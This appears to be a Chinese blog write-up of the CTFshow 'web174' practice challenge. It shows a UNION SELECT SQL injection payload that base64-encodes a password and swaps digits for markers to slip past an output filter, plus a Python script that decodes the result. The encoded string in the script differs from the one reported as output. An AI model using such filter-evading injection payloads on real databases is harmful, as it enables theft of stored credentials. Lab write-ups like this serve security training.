CTFSHOW web入门——web174

最新推荐文章于 2024-09-29 18:24:58 发布

原创最新推荐文章于 2024-09-29 18:24:58 发布 · 525 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #网络安全

文章展示了如何利用Base64编码结合SQL查询中的replace函数，对含有0-9的密码进行加密。通过将数字替换为特定字符，然后解密回原始值，成功地从ctfshow_user4表中查询到了名为flag的用户的加密密码，并提供了Python脚本来还原这个过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

查看函数，返回值把0-9的数字和flag给过滤了

可以先用base64进行加密

0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+

replace（）函数用法：
REPLACE ( string_expression , string_pattern , string_replacement )
参数：
string_expression：字符串表达式
string_pattern：想要查找的子字符串
string_replacement：想要替换成的子字符串

得到了Y@CRmc@Bhvd@CtmZTAyOGNjMy@AiNDgzLTQ@ENWQtOTc@AOS@JxMDcyMmUzZjVjMDF@I

脚本替换回原来的flag

import base64

flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(base64.b64decode(flag))

获得flag